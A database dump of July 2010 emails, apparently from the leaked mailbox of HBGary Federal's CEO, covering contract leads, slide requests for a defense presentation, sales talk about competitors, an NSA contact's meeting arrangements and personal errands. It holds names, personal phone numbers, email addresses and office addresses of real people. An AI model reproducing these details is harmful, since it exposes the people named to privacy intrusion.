\r\n hbgary.in     \r\n hbgary.net.cn     \r\n hbgary.org.cn      hbgary.tw \r\nAfter our futher checking, we \r\nfound the brand names were similar to your company&#39;s, so we need to check with \r\nyou whether your company has authorized that company to register these names.. \r\nIf you did not have authorized, please let us know within 7 workdays,  If \r\nyou have authorized or you didn&#39;t reply us within the specified time,we will \r\nfinish the registration for  &quot;Modle Investment Co., Ltd&quot;,we are lopking \r\nforword to your reply,so that we can handle this issue \r\nbetter.\r\nBest Regards,\r\n \r\n \r\n\r\nAlan \r\nYang\r\n \r\nSenior \r\nConsultantTel :  +86-393-7777708  \r\n\r\nFax : +86-393-7777709\r\nAddress:R608,No.175 Kaizhou \r\nRoad,Hualong District,Puyang City,Henan,China\r\nWeb:www.dns-yshl.net\r\nP \r\nPlease consider the \r\nenvironment before you print this \r\ne-mail\r\n\r\n',13017,'aaron_hbgary_com/13017.html'),(8115,'2010-07-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006321.M813196P14101Q2970.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Vendor Procurement Search Results','Check out the ARSTRAT one:---------- Forwarded message ----------From:  &lt;noreply@fbo.gov&gt;\r\nDate: Thu, Jul 1, 2010 at 2:42 AMSubject: Vendor Procurement Search ResultsTo: ted@hbgary.comThursday, July 01, 2010, 04:40 am\r\n\r\nDear Ted:\r\n\r\nYour FBO Opportunity Search Agent called: &#39;Cyber&#39; has identified the following opportunities that have either been newly posted or modified and match your search criteria.\r\n\r\n        Title:                  A--Space and Missile Defense Technology Design, Development, Demonstration, and Integration (D3I), Amendment 003.\r\n        Sol. #:                 W9113M-D3I-SS10\r\n        Agency:                 Department of the Army\r\n        Office:                 U.S. Army Space and Missile Defense Command\r\n        Location:               U.S. Army Space and Missile Defense Command, Deputy Commander\r\n        Posted On:              Jun 30, 2010 3:25 pm\r\n        Base Type:              Sources Sought\r\n        Link:                   https://www.fbo.gov/spg/USA/SMDC/DASG60/W9113M-D3I-SS10/listing.html\r\n\r\n        -------------------------------------------------------\r\n\r\n        Title:                  65--Medical Equipment\r\n        Sol. #:                 VA24410RQ0277\r\n        Agency:                 Department of Veterans Affairs\r\n        Office:                 Wilmington VAMROC\r\n        Location:               Department of Veterans Affairs Medical and Regional Office Center\r\n        Posted On:              Jun 30, 2010 2:27 pm\r\n        Current Type:           Combined Synopsis/Solicitation (Modified)\r\n        Base Type:              Combined Synopsis/Solicitation\r\n        Base Posting Date:      Jun 09, 2010 11:33 am\r\n        Link:                   https://www.fbo.gov/spg/VA/WiVAMROC460/WiVAMROC460/VA24410RQ0277/listing.html\r\n\r\n\r\n        -------------------------------------------------------\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',10845,'aaron_hbgary_com/10845.html'),(8116,'2010-07-01','richard.ricart@accenture.com','/aaron@hbgary.com/new/1297006322.M364471P14101Q2972.eml','chris.lee@virtualarmor.com,mark.precious@virtualarmor.com,aaron@hbgary.com','When can I expect your slides?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFolks,\r\n\r\n&nbsp;\r\n\r\nWe are about to review the slides with a senior manager.&nbsp; When\r\ncan we have the slides?\r\n\r\n&nbsp;\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505\r\nLake Lynda Drive, Suite 115\r\n\r\nOrlando,\r\nFL&nbsp; 32817\r\n\r\nCell: 321-544-4000\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.\r\n\r\n\r\n',1683,'aaron_hbgary_com/1683.html'),(8117,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006322.M623823P14101Q2973.eml','richard.ricart@accenture.com','Re: When can I expect your slides?','Sorry rich,One thing we didn&#39;t cover this morning was timeline.  I didn&#39;t realize the timeliness.  I will get them to you shortly.\r\nAaronSent from my iPadOn Jul 1, 2010, at 12:51 PM, &quot;richard.ricart@accenture.com&quot; &lt;richard.ricart@accenture.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n \r\n\r\nFolks,\r\n\r\n \r\n\r\nWe are about to review the slides with a senior manager.  When\r\ncan we have the slides?\r\n\r\n \r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505\r\nLake Lynda Drive, Suite 115\r\n\r\nOrlando,\r\nFL  32817\r\n\r\nCell: 321-544-4000\r\n\r\n \r\n\r\n\r\n\r\nThis message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.\r\n\r\n\r\n\r\n\r\n',1999,'aaron_hbgary_com/1999.html'),(8118,'2010-07-01','richard.ricart@accenture.com','/aaron@hbgary.com/new/1297006322.M68598P14101Q2971.eml','aaron@hbgary.com,mark.precious@virtualarmor.com','Zero day attack problem description','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGuys,\r\n\r\n&nbsp;\r\n\r\nDo you have a good Zero day attack problem statement I can\r\ninclude in the presentation?\r\n\r\n&nbsp;\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505\r\nLake Lynda Drive, Suite 115\r\n\r\nOrlando,\r\nFL&nbsp; 32817\r\n\r\nCell: 321-544-4000\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.\r\n\r\n\r\n',14598,'aaron_hbgary_com/14598.html'),(8119,'2010-07-01','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006322.M870260P14101Q2974.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DoD Defense Contractors','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n&nbsp;\r\n\r\nWe have a meeting with CSC on Wednesday.&nbsp; I think an intro\r\nto the Deputy CISO would be good, .&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, July 01, 2010 6:35 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: DoD Defense Contractors\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI thought the Mandiant stuff was just in testing and they\r\nwere going to test AD this summer as well and provide some details on strengths\r\nand weaknesses? &nbsp;CSC actually runs IT security for many of the big defense\r\ncontractors (that funny huh?). &nbsp;So I would suggest getting CSC to buy in\r\nto it as a solution and they can help to integrate at other DIB members.\r\n&nbsp;CISOs don\'t want to do advanced malware analysis, they want systems that\r\nwill tell them of compromise and where it is so they can go clean it.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDoes the Mandiant solution scour for information on disk and\r\nin registry? &nbsp;Does it do any memory analysis, deployed agents as part of\r\nits solution? &nbsp;I know the CISO at Northrop and that is it. &nbsp;I can get\r\nus in front of the Deputy CISO for an AD demo. &nbsp;The advanced analysis team\r\nfor NG already loves us but they see us as an advanced malware capability, not\r\nan enterprise security capability.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 7:29 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSo\r\nMandiant sold a corporate license to General Dynamics and it talking to a lot\r\nof other system integrators.&nbsp; How come we can&#8217;t sell to these\r\npeople?&nbsp; Do you guys know any CISO&#8217;s at competing places?&nbsp; Bob\r\nneeds help getting in here.&nbsp; Like BAE or Booz, or Lockheed etc\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nC. Leavy\r\n\r\n\r\n\r\n\r\n\r\nPresident\r\n\r\n\r\n\r\n\r\n\r\nHBGary,\r\nInc\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNOTICE &#8211;&nbsp;Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis message and any attached files may contain information that is\r\nconfidential and/or subject of legal privilege intended only for use by the\r\nintended recipient. If you are not the intended recipient or the person\r\nresponsible for&nbsp;&nbsp; delivering the message to the intended recipient,\r\nbe advised that you have received this message in error and that any\r\ndissemination, copying or use of this message or attachment is strictly\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8947,'aaron_hbgary_com/8947.html'),(8120,'2010-07-01','\"Sinclair, Adrian W.\" <awsincl@missi.ncsc.mil>','/aaron@hbgary.com/new/1297006323.M97302P14101Q2975.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: contact','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n&nbsp;\r\n\r\nIt was nice to see you and chat. Lets keep in touch.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAdrian \r\n\r\n&nbsp;\r\n\r\nPS. You owe me the name of that good Indian restaurant in DC.\r\n;-)\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 4:41 PM\r\nTo: Sinclair, Adrian W.\r\nSubject: Re: contact\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSure. &nbsp;Can we do both? &nbsp;Give us a few minutes in a\r\nsecure place for any context and then lunch? &nbsp;Is 1100 or 1130 ok?\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 3:54 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m\r\nat FANX though not at the Fort. We can meet inside or grab lunch across the\r\nstreet.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAdrian \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 3:47 PM\r\nTo: Sinclair, Adrian W.\r\nSubject: Re: contact\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSounds\r\ngood. &nbsp;I have a badge so I can meet you in your bldg or somewhere else, up\r\nto you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 3:32 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m\r\nfree lunch time on Thursday.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAdrian \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 2:57 PM\r\nTo: Sinclair, Adrian W.\r\nSubject: Re: contact\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAdrian,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHappy\r\nto discuss. &nbsp;You don\'t happen to have time this Thursday do you? &nbsp;I\r\nwill be up in MD all day. &nbsp;Otherwise let\'s try to get together next week.\r\n&nbsp;Please feel free to call 719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 1:55 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;m\r\nfollowing up on our brief chat after your presentation last week at the ReBl\r\nSymposium. We only had a moment to discuss some of the implications and the\r\ndirection where the problem of social networking exploitation is going to take\r\nus in the near future where proliferation of geo-location based SN services\r\nwill be dominant. If you have a moment I&#8217;d like to speak with you a little bit\r\nmore on the topic. \r\n\r\n&nbsp;\r\n\r\nPlease\r\nlet me know if you&#8217;re interested and when is the best time to reach you.\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nAdrian Sinclair, CISM\r\n\r\nNSA Special Programs Office\r\n\r\nInformation Assurance Directorate\r\n\r\nOffice Tel: (410) 854-9124\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8914,'aaron_hbgary_com/8914.html'),(8121,'2010-07-01','richard.ricart@accenture.com','/aaron@hbgary.com/new/1297006329.M511796P14101Q2976.eml','chris.lee@virtualarmor.com,mark.precious@virtualarmor.com,chris.lee@virtualarmor.com','RE: When can I expect your slides?','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nChris and/or Mark,\r\n\r\n&nbsp;\r\n\r\nIf you can condense this to a\r\nabout 3 slides and add something that speaks to zero-day active defense.&nbsp; I attached\r\nthe current version of the slide deck so that you can better integrate your\r\nmessage (particularly, slides 8-12).\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505 Lake Lynda Drive, Suite 115\r\n\r\nOrlando, FL&nbsp; 32817\r\n\r\nCell: 321-544-4000\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Christopher Lee\r\n[mailto:chris.lee@virtualarmor.com] \r\nSent: Thursday, July 01, 2010 1:57 PM\r\nTo: Ricart, Richard; mark.precious@virtualarmor.com\r\nSubject: RE: When can I expect your slides?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMy quarter end is leaking over\r\nto today so I am strapped for time.\r\n\r\n&nbsp;\r\n\r\nI have attached a few slides\r\nwhich we can speak to. If we have time I would like to make some changes later.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nChristopher Lee\r\n\r\nBusiness Development\r\n\r\n\r\n\r\nVirtualArmor LLC\r\n\r\n10901 W. Toller Dr., Suite 203\r\n\r\nLittleton, CO&nbsp; 80127\r\n\r\nPhone:720.961.4171\r\n\r\nChris.Lee@VirtualArmor.com\r\n\r\nwww.virtualarmor.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nrichard.ricart@accenture.com [mailto:richard.ricart@accenture.com] \r\nSent: Thursday, July 01, 2010 10:51 AM\r\nTo: chris.lee@virtualarmor.com; mark.precious@virtualarmor.com;\r\naaron@hbgary.com\r\nSubject: When can I expect your slides?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nFolks,\r\n\r\n&nbsp;\r\n\r\nWe are about to review the slides with a senior\r\nmanager.&nbsp; When can we have the slides?\r\n\r\n&nbsp;\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505\r\nLake Lynda Drive, Suite 115\r\n\r\nOrlando,\r\nFL&nbsp; 32817\r\n\r\nCell: 321-544-4000\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis message\r\nis for the designated recipient only and may contain privileged, proprietary,\r\nor otherwise private information. If you have received it in error, please\r\nnotify the sender immediately and delete the original. Any other use of the\r\nemail by you is prohibited.\r\n\r\n\r\n\r\n\r\n\r\nThis message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.\r\n\r\n\r\n',11446,'aaron_hbgary_com/11446.html'),(8122,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006329.M891787P14101Q2977.eml','\"Sinclair, Adrian W.\" <awsincl@missi.ncsc.mil>','Re: contact','Absolutely let&#39;s stay in touch.Indian:Haandi4904 Fairmont AvenueBethesda? MDUnited States\r\nAfghan:Panjshir924 West Broad StreetFalls Church? VAUnited StatesAaronFrom my iPhoneOn Jul 1, 2010, at 1:51 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n \r\n\r\nIt was nice to see you and chat. Lets keep in touch.\r\n\r\n \r\n\r\n\r\n\r\nAdrian \r\n\r\n \r\n\r\nPS. You owe me the name of that good Indian restaurant in DC.\r\n;-)\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 4:41 PM\r\nTo: Sinclair, Adrian W.\r\nSubject: Re: contact\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nSure.  Can we do both?  Give us a few minutes in a\r\nsecure place for any context and then lunch?  Is 1100 or 1130 ok?\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 3:54 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI’m\r\nat FANX though not at the Fort. We can meet inside or grab lunch across the\r\nstreet.\r\n\r\n \r\n\r\n\r\n\r\nAdrian \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, June 22, 2010 3:47 PM\r\nTo: Sinclair, Adrian W.\r\nSubject: Re: contact\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nSounds\r\ngood.  I have a badge so I can meet you in your bldg or somewhere else, up\r\nto you.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 3:32 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI’m\r\nfree lunch time on Thursday.\r\n\r\n \r\n\r\n\r\n\r\nAdrian \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, June 22, 2010 2:57 PM\r\nTo: Sinclair, Adrian W.\r\nSubject: Re: contact\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAdrian,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHappy\r\nto discuss.  You don&#39;t happen to have time this Thursday do you?  I\r\nwill be up in MD all day.  Otherwise let&#39;s try to get together next week.\r\n Please feel free to call 719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 1:55 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArron,\r\n\r\n \r\n\r\nI’m\r\nfollowing up on our brief chat after your presentation last week at the ReBl\r\nSymposium. We only had a moment to discuss some of the implications and the\r\ndirection where the problem of social networking exploitation is going to take\r\nus in the near future where proliferation of geo-location based SN services\r\nwill be dominant. If you have a moment I’d like to speak with you a little bit\r\nmore on the topic. \r\n\r\n \r\n\r\nPlease\r\nlet me know if you’re interested and when is the best time to reach you.\r\n\r\n \r\n\r\nSincerely,\r\n\r\n \r\n\r\nAdrian Sinclair, CISM\r\n\r\nNSA Special Programs Office\r\n\r\nInformation Assurance Directorate\r\n\r\nOffice Tel: (410) 854-9124\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11718,'aaron_hbgary_com/11718.html'),(8123,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006330.M157681P14101Q2978.eml','\"Mike Spohn\" <mike@hbgary.com>','IR Discussion','Hey Mike,\r\n\r\nGot some time to talk today?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14413,'aaron_hbgary_com/14413.html'),(8124,'2010-07-01','\"Alex Torres\" <alex@hbgary.com>','/aaron@hbgary.com/new/1297006330.M374464P14101Q2979.eml','all@hbgary.com','Responder 2.0.0.0570 is live','The patch for Responder 2.0.0.0570 is now live. This patch fixes several bugs including:Several bug fixes in memory dump analysis.Enhanced identification of memory regions during analysis.\r\nImprovements in memory usage.Fixed bug in Internet History panel.A new evaluation build will also be up shortly. -Engineering\r\n',11595,'aaron_hbgary_com/11595.html'),(8125,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006333.M323211P14101Q2980.eml','ibrown@artistic-sole.com','Photos for tattoo of sun/moon for Aaron Barr','Imani,Looking forward to you doing this work for me.I am looking for the framing of the sun and moon in picture #1. &nbsp;Both the same size roughly.I am looking for similar features in Picture #2. &nbsp;I like the symmetric nose, open and closed eye. &nbsp;I think I would like the features of the moon to be slightly more somber, not mean or menacing but more serious. &nbsp;I am kinda going for a yin/yang (opposites) with the sun and moon.Sun-Moon Face&nbsp;I am looking for these colors, vibrant distinction between blue and orange/yellow the opposites making the other more colorful, etc.sun&amp;moonlove&nbsp;I like the flares and stars of this picture to frame the sun and moon.sun-moon-meshed&nbsp; ',1684,'aaron_hbgary_com/1684.html'),(8126,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006333.M745523P14101Q2981.eml','\"David Etue\" <david@etue.net>','Re: Introduction','lets shoot for monday/tuesday.  My week is shot after tuesday.  How is the NG stuff going?\r\n\r\nAaron\r\n\r\nOn Jul 1, 2010, at 10:53 AM, David Etue wrote:\r\n\r\n> Sounds like what I am about to do on my back porch - I have a white paper to write for a proposal...\r\n> \r\n> I\'ve got a bunch of pockets of time next week.  Most of the mornings have free time available.\r\n> \r\n> David\r\n> \r\n> On 7/1/2010 10:01 AM, Aaron Barr wrote:\r\n>> Hey Dave,\r\n>> \r\n>> I am sitting in a coffee shop working on material all day.  In\r\n>> Georgetown at the moment.  If today doesn\'t work out maybe early next\r\n>> week?\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n>> On Jun 30, 2010, at 9:56 AM, David Etue  wrote:\r\n>> \r\n>>   \r\n>>> Even more interesting :)\r\n>>> \r\n>>> My week ended up pretty crazy, as my last day at Fidelis is today.  I\'ve do have some time tomorrow morning if you want to catch up.  I also could do tomorrow afternoon, but it would need to be at my house in Arlington while I wait for comcast to come fix my cable modem (for the fourth time...)  Friday I need to be up in Baltimore area for most of the day, and then we are having a casual BBQ on Friday night (which we\'d be happy to have you and your family come by!)\r\n>>> \r\n>>> David\r\n>>> \r\n>>> On 6/30/2010 9:45 AM, Aaron Barr wrote:\r\n>>>     \r\n>>>> yep.\r\n>>>> \r\n>>>> On Jun 30, 2010, at 9:44 AM, David Etue wrote:\r\n>>>> \r\n>>>> \r\n>>>>       \r\n>>>>> Same Bill Luti?  http://en.wikipedia.org/wiki/William_J._Luti\r\n>>>>> \r\n>>>>> \r\n>>>>> On 6/30/2010 9:22 AM, Aaron Barr wrote:\r\n>>>>> \r\n>>>>>         \r\n>>>>>> Dave,\r\n>>>>>> \r\n>>>>>> Let me introduce Bill Luti.  If my memory serves me, Bill was the Operations Director for NG Information Systems directly under Linda Mills.  Bill has some interesting initiatives he is working on and is looking for innovative small companies to talk to, I of course thought of Fidelis.  Rather than put Bill directly in contact with executives at Fidelis I thought you might be able to give him a very rich and objective perspective.\r\n>>>>>> \r\n>>>>>> Bill, Dave is one of the bright lights of cybersecurity and will likely have a lot of other insights that I don\'t.\r\n>>>>>> \r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>>           \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>>> \r\n>>>>       \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5873,'aaron_hbgary_com/5873.html'),(8127,'2010-07-01','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006334.M132029P14101Q2982.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','Sounds good.  Tuesday AM is better for me, but can do Monday if \r\nnecessary.  Since the wife is off work for the holiday, figuring I\'ll \r\ntry to spend Monday with her if I can.\r\n\r\nNG is going well.  Think Tim and I are very close to some consulting \r\nwork in Rizic\'s team, and talking to John McNiff and Cathy Roesch next \r\nweek.\r\n\r\nDavid\r\n\r\nOn 7/1/2010 2:47 PM, Aaron Barr wrote:\r\n> lets shoot for monday/tuesday.  My week is shot after tuesday.  How is the NG stuff going?\r\n>\r\n> Aaron\r\n>\r\n> On Jul 1, 2010, at 10:53 AM, David Etue wrote:\r\n>\r\n>    \r\n>> Sounds like what I am about to do on my back porch - I have a white paper to write for a proposal...\r\n>>\r\n>> I\'ve got a bunch of pockets of time next week.  Most of the mornings have free time available.\r\n>>\r\n>> David\r\n>>\r\n>> On 7/1/2010 10:01 AM, Aaron Barr wrote:\r\n>>      \r\n>>> Hey Dave,\r\n>>>\r\n>>> I am sitting in a coffee shop working on material all day.  In\r\n>>> Georgetown at the moment.  If today doesn\'t work out maybe early next\r\n>>> week?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> Sent from my iPad\r\n>>>\r\n>>> On Jun 30, 2010, at 9:56 AM, David Etue   wrote:\r\n>>>\r\n>>>\r\n>>>        \r\n>>>> Even more interesting :)\r\n>>>>\r\n>>>> My week ended up pretty crazy, as my last day at Fidelis is today.  I\'ve do have some time tomorrow morning if you want to catch up.  I also could do tomorrow afternoon, but it would need to be at my house in Arlington while I wait for comcast to come fix my cable modem (for the fourth time...)  Friday I need to be up in Baltimore area for most of the day, and then we are having a casual BBQ on Friday night (which we\'d be happy to have you and your family come by!)\r\n>>>>\r\n>>>> David\r\n>>>>\r\n>>>> On 6/30/2010 9:45 AM, Aaron Barr wrote:\r\n>>>>\r\n>>>>          \r\n>>>>> yep.\r\n>>>>>\r\n>>>>> On Jun 30, 2010, at 9:44 AM, David Etue wrote:\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>            \r\n>>>>>> Same Bill Luti?  http://en.wikipedia.org/wiki/William_J._Luti\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> On 6/30/2010 9:22 AM, Aaron Barr wrote:\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>              \r\n>>>>>>> Dave,\r\n>>>>>>>\r\n>>>>>>> Let me introduce Bill 